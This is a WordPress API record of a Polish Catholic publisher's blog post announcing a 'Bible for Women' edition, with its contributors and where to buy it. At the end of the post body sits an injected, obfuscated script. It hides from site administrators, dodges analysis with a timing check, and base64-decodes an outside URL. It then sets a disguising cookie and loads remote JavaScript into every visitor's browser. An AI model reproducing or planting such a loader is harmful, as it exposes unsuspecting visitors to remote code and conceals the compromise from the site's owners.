{"id":2836,"date":"2020-11-12T11:40:56","date_gmt":"2020-11-12T10:40:56","guid":{"rendered":"https:\/\/edycja.com.pl\/?p=2836"},"modified":"2026-05-04T16:05:48","modified_gmt":"2026-05-04T14:05:48","slug":"biblia-dla-kobiet","status":"publish","type":"post","link":"https:\/\/edycja.com.pl\/?p=2836","title":{"rendered":"Biblia dla kobiet"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-2838\" src=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B_tlo_fb.jpg\" alt=\"Biblia dla kobiet\" width=\"851\" height=\"315\" srcset=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B_tlo_fb.jpg 851w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B_tlo_fb-300x111.jpg 300w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B_tlo_fb-150x56.jpg 150w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B_tlo_fb-768x284.jpg 768w\" sizes=\"(max-width: 851px) 100vw, 851px\" \/><\/p>\n<p><strong><em>Ta sama, a jednak wyj\u0105tkowa <\/em><\/strong><\/p>\n<p>Czy musimy przekonywa\u0107 \u015bwiat, \u017ce Biblia jest jedna i ta sama dla wszystkich? Ta sama zar\u00f3wno dla m\u0119\u017cczyzn, jak i dla kobiet? Nie musimy. I nie chcemy. To oczywiste. Ale czy my, kobiety, nie mo\u017cemy zaprojektowa\u0107 w\u0142asnego wydania Pisma \u015awi\u0119tego? Zaprosi\u0107 do napisania wprowadzenia cenionych wsp\u00f3\u0142czesnych kobiet Ko\u015bcio\u0142a? Wyda\u0107 tej jedynej, niezmiennej i niepowtarzalnej Ksi\u0119gi z tak\u0105 grafik\u0105 i opraw\u0105, jak my tego chcemy? Na malinowo? Z tytu\u0142em <strong>Biblia dla kobiet<\/strong>? Co w domy\u015ble oznacza: \u201eMy, kobiety, dla nas, kobiet\u201d. Oczywi\u015bcie, \u017ce mo\u017cemy! I to w\u0142a\u015bnie zrobi\u0142y\u015bmy. Wiemy, \u017ce kobiety przyj\u0119\u0142y nasz\u0105 inicjatyw\u0119 z pe\u0142n\u0105 akceptacj\u0105 i rado\u015bci\u0105. Mamy te\u017c nadziej\u0119, \u017ce m\u0119\u017cczy\u017ani przyjm\u0105 j\u0105 z ca\u0142kowitym zrozumieniem.<\/p>\n<p>Wydanie <strong>Biblii dla kobiet<\/strong> wymy\u015bli\u0142y kobiety z potrzeby serca. W tym wydaniu kobiety towarzysz\u0105 kobietom w odkrywaniu Biblii. A towarzyszenie jest jak najbardziej biblijn\u0105 postaw\u0105, czego najpi\u0119kniej uczy nas Maryja. Tekst Biblii zawiera ca\u0142y Stary i Nowy Testament w najnowszym t\u0142umaczeniu biblist\u00f3w polskich (Biblia Paulist\u00f3w). Zyska\u0142 on pi\u0119kn\u0105 opraw\u0119 graficzn\u0105 i \u0142adne wydanie, po kt\u00f3re, jak pokaza\u0142y sonda\u017ce, ma ochot\u0119 si\u0119gn\u0105\u0107 wi\u0119kszo\u015b\u0107 kobiet.<\/p>\n<p><strong><em>Kobiety Biblii i kobiety o Biblii<\/em><\/strong><\/p>\n<p><strong>Biblia dla kobiet<\/strong>&#8230; jest Bibli\u0105! Najwa\u017cniejsz\u0105 ksi\u0119g\u0105, z kt\u00f3rej czerpiemy przez pokolenia wszystkie najlepsze cechy naszej kobieco\u015bci: wewn\u0119trzn\u0105 si\u0142\u0119 Judyty, przyw\u00f3dztwo Miriam \u2013 siostry Moj\u017cesza, spryt Tamar, odwag\u0119 Debory, wierno\u015b\u0107 Rut, empati\u0119 Noemi, m\u0105dro\u015b\u0107 Estery, zaradno\u015b\u0107 Marty, uwa\u017cno\u015b\u0107 Marii, macierzy\u0144sk\u0105 \u0142agodno\u015b\u0107 i wra\u017cliwo\u015b\u0107 Maryi. Z rado\u015bci\u0105 i zaskoczeniem autorki tekst\u00f3w wprowadzaj\u0105cych odkrywaj\u0105 przed nami, \u017ce B\u00f3g jest feminist\u0105, a Maryja, cho\u0107 nie pojawia si\u0119 w Starym Testamencie, jest w nim ca\u0142y czas obecna, gdy\u017c jest Ona, jak ka\u017cda z nas, niezb\u0119dna w Bo\u017cym planie zbawienia.<\/p>\n<p>Autorki tekst\u00f3w: <strong>s. Anna Maria Pude\u0142ko AP<\/strong> (psychopedagog powo\u0142a\u0144), <strong>s. Judyta Pude\u0142ko PDDM<\/strong> (biblistka), <strong>Maria Miduch<\/strong> (biblistka), znane, lubiane i cenione, postara\u0142y si\u0119, aby kobiety opr\u00f3cz t\u0142umaczenia Pisma \u015awi\u0119tego otrzyma\u0142y s\u0142owa, kt\u00f3re je wzmocni\u0105 i utwierdz\u0105, \u017ce dzia\u0142aj\u0105c zgodnie z Bibli\u0105, my, kobiety, mo\u017cemy zrobi\u0107 co\u015b wa\u017cnego dla siebie i dla \u015bwiata! W przewodniku po jak najlepszym pos\u0142ugiwaniu si\u0119 Pismem \u015awi\u0119tym <strong>s. Iwona Kopacz PDDM<\/strong> (liturgistka) uczy nas, jak Bibli\u0105 mo\u017cemy modli\u0107 si\u0119 na co dzie\u0144. Wybra\u0142y\u015bmy tak\u017ce dwa wa\u017cne fragmenty o kobietach dw\u00f3ch papie\u017cy: <strong>\u015bw. Jana Paw\u0142a II <\/strong>i <strong>Franciszka<\/strong>.<\/p>\n<p>Pozw\u00f3lmy wi\u0119c towarzyszy\u0107 nam w czytaniu, przyjmowaniu i prze\u017cywaniu s\u0142owa Bo\u017cego kobietom, kt\u00f3re to wydanie <strong>Biblii dla kobiet<\/strong> przygotowa\u0142y, kt\u00f3re zosta\u0142y w tekstach komentarzy przywo\u0142ane, a tak\u017ce wszystkim, kt\u00f3re w tym samym czasie si\u0119gn\u0105 po t\u0119 w\u0142a\u015bnie Bibli\u0119 w malinowej ok\u0142adce i rozsun\u0105 zamek oprawy, aby zatopi\u0107 si\u0119 w S\u0142owie, kt\u00f3re umocni je na pi\u0119knej kobiecej \u015bcie\u017cce wsp\u00f3lnej drogi naszego Ko\u015bcio\u0142a.<\/p>\n<p><strong>Biblia dla kobiet<\/strong> jest g\u0142osem kobiet Ko\u015bcio\u0142a, m\u00f3wi\u0105cym \u017ce mamy pe\u0142ne prawo zar\u00f3wno do naszej ogromnej si\u0142y i odwagi wyp\u0142ywaj\u0105cej z m\u0105dro\u015bci, jak te\u017c do niezwyk\u0142ej wra\u017cliwo\u015bci na drugiego cz\u0142owieka i absolutnie nie musimy ani nie powinny\u015bmy rezygnowa\u0107 z \u017cadnej z tych cech, bo B\u00f3g chce nas widzie\u0107 w\u0142a\u015bnie takie \u2013 pi\u0119kne kobiety do zada\u0144 specjalnych!<\/p>\n<p>Zapraszamy na:<br \/>\n<strong><a href=\"https:\/\/www.edycja.pl\/produkty\/biblia-i-biblistyka\/pismo-swiete\/biblia-dla-kobiet\" target=\"_blank\" rel=\"noopener noreferrer\">www.edycja.pl<\/a>,<\/strong> do ksi\u0119gar\u0144 w\u0142asnych <a href=\"https:\/\/edycja.com.pl\/?page_id=217\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>Edycji \u015awi\u0119tego Paw\u0142a<\/strong><\/a> oraz dobrych ksi\u0119gar\u0144 stacjonarnych.<\/p>\n<p>Biblia dla kobiet &#8211;<a href=\"https:\/\/issuu.com\/edycja\/docs\/188b_inside_issuu?fr=sNWQ0NDM4NDk4NQ\" target=\"_blank\" rel=\"noopener noreferrer\"><strong> zajrzyj tutaj<\/strong><\/a><\/p>\n<p>&nbsp;<script>;(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0bQ==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ta sama, a jednak wyj\u0105tkowa Czy musimy przekonywa\u0107 \u015bwiat, \u017ce Biblia jest jedna i ta sama dla wszystkich? Ta sama zar\u00f3wno dla m\u0119\u017cczyzn, jak i dla kobiet? Nie musimy. I nie chcemy. To oczywiste. Ale czy my, kobiety, nie mo\u017cemy zaprojektowa\u0107 w\u0142asnego wydania Pisma \u015awi\u0119tego? Zaprosi\u0107 do napisania wprowadzenia cenionych wsp\u00f3\u0142czesnych kobiet Ko\u015bcio\u0142a? Wyda\u0107 tej&#8230;<\/p>\n","protected":false},"author":6,"featured_media":2839,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[35],"tags":[301],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Biblia dla kobiet - Edycja \u015awi\u0119tego Paw\u0142a<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/edycja.com.pl\/?p=2836\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Biblia dla kobiet - Edycja \u015awi\u0119tego Paw\u0142a\" \/>\n<meta property=\"og:description\" content=\"Ta sama, a jednak wyj\u0105tkowa Czy musimy przekonywa\u0107 \u015bwiat, \u017ce Biblia jest jedna i ta sama dla wszystkich? Ta sama zar\u00f3wno dla m\u0119\u017cczyzn, jak i dla kobiet? Nie musimy. I nie chcemy. To oczywiste. Ale czy my, kobiety, nie mo\u017cemy zaprojektowa\u0107 w\u0142asnego wydania Pisma \u015awi\u0119tego? Zaprosi\u0107 do napisania wprowadzenia cenionych wsp\u00f3\u0142czesnych kobiet Ko\u015bcio\u0142a? Wyda\u0107 tej...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/edycja.com.pl\/?p=2836\" \/>\n<meta property=\"og:site_name\" content=\"Edycja \u015awi\u0119tego Paw\u0142a\" \/>\n<meta property=\"article:published_time\" content=\"2020-11-12T10:40:56+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-04T14:05:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"400\" \/>\n\t<meta property=\"og:image:height\" content=\"533\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Sylwia Cierpia\u0142\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sylwia Cierpia\u0142\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/edycja.com.pl\/?p=2836\",\"url\":\"https:\/\/edycja.com.pl\/?p=2836\",\"name\":\"Biblia dla kobiet - Edycja \u015awi\u0119tego Paw\u0142a\",\"isPartOf\":{\"@id\":\"https:\/\/edycja.com.pl\/#website\"},\"datePublished\":\"2020-11-12T10:40:56+00:00\",\"dateModified\":\"2026-05-04T14:05:48+00:00\",\"author\":{\"@id\":\"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318\"},\"breadcrumb\":{\"@id\":\"https:\/\/edycja.com.pl\/?p=2836#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/edycja.com.pl\/?p=2836\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/edycja.com.pl\/?p=2836#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Strona g\u0142\u00f3wna\",\"item\":\"https:\/\/edycja.com.pl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Biblia dla kobiet\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/edycja.com.pl\/#website\",\"url\":\"https:\/\/edycja.com.pl\/\",\"name\":\"Edycja \u015awi\u0119tego Paw\u0142a\",\"description\":\"Strona wydawnictwa Edycji \u015awi\u0119tego Paw\u0142a\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/edycja.com.pl\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318\",\"name\":\"Sylwia Cierpia\u0142\",\"url\":\"https:\/\/edycja.com.pl\/?author=6\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Biblia dla kobiet - Edycja \u015awi\u0119tego Paw\u0142a","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/edycja.com.pl\/?p=2836","og_locale":"pl_PL","og_type":"article","og_title":"Biblia dla kobiet - Edycja \u015awi\u0119tego Paw\u0142a","og_description":"Ta sama, a jednak wyj\u0105tkowa Czy musimy przekonywa\u0107 \u015bwiat, \u017ce Biblia jest jedna i ta sama dla wszystkich? Ta sama zar\u00f3wno dla m\u0119\u017cczyzn, jak i dla kobiet? Nie musimy. I nie chcemy. To oczywiste. Ale czy my, kobiety, nie mo\u017cemy zaprojektowa\u0107 w\u0142asnego wydania Pisma \u015awi\u0119tego? Zaprosi\u0107 do napisania wprowadzenia cenionych wsp\u00f3\u0142czesnych kobiet Ko\u015bcio\u0142a? Wyda\u0107 tej...","og_url":"https:\/\/edycja.com.pl\/?p=2836","og_site_name":"Edycja \u015awi\u0119tego Paw\u0142a","article_published_time":"2020-11-12T10:40:56+00:00","article_modified_time":"2026-05-04T14:05:48+00:00","og_image":[{"width":400,"height":533,"url":"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2020\/11\/188B.jpg","type":"image\/jpeg"}],"author":"Sylwia Cierpia\u0142","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Sylwia Cierpia\u0142","Szacowany czas czytania":"3 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/edycja.com.pl\/?p=2836","url":"https:\/\/edycja.com.pl\/?p=2836","name":"Biblia dla kobiet - Edycja \u015awi\u0119tego Paw\u0142a","isPartOf":{"@id":"https:\/\/edycja.com.pl\/#website"},"datePublished":"2020-11-12T10:40:56+00:00","dateModified":"2026-05-04T14:05:48+00:00","author":{"@id":"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318"},"breadcrumb":{"@id":"https:\/\/edycja.com.pl\/?p=2836#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/edycja.com.pl\/?p=2836"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/edycja.com.pl\/?p=2836#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Strona g\u0142\u00f3wna","item":"https:\/\/edycja.com.pl\/"},{"@type":"ListItem","position":2,"name":"Biblia dla kobiet"}]},{"@type":"WebSite","@id":"https:\/\/edycja.com.pl\/#website","url":"https:\/\/edycja.com.pl\/","name":"Edycja \u015awi\u0119tego Paw\u0142a","description":"Strona wydawnictwa Edycji \u015awi\u0119tego Paw\u0142a","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/edycja.com.pl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318","name":"Sylwia Cierpia\u0142","url":"https:\/\/edycja.com.pl\/?author=6"}]}},"_links":{"self":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/2836"}],"collection":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2836"}],"version-history":[{"count":2,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/2836\/revisions"}],"predecessor-version":[{"id":4941,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/2836\/revisions\/4941"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/media\/2839"}],"wp:attachment":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2836"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2836"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2836"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}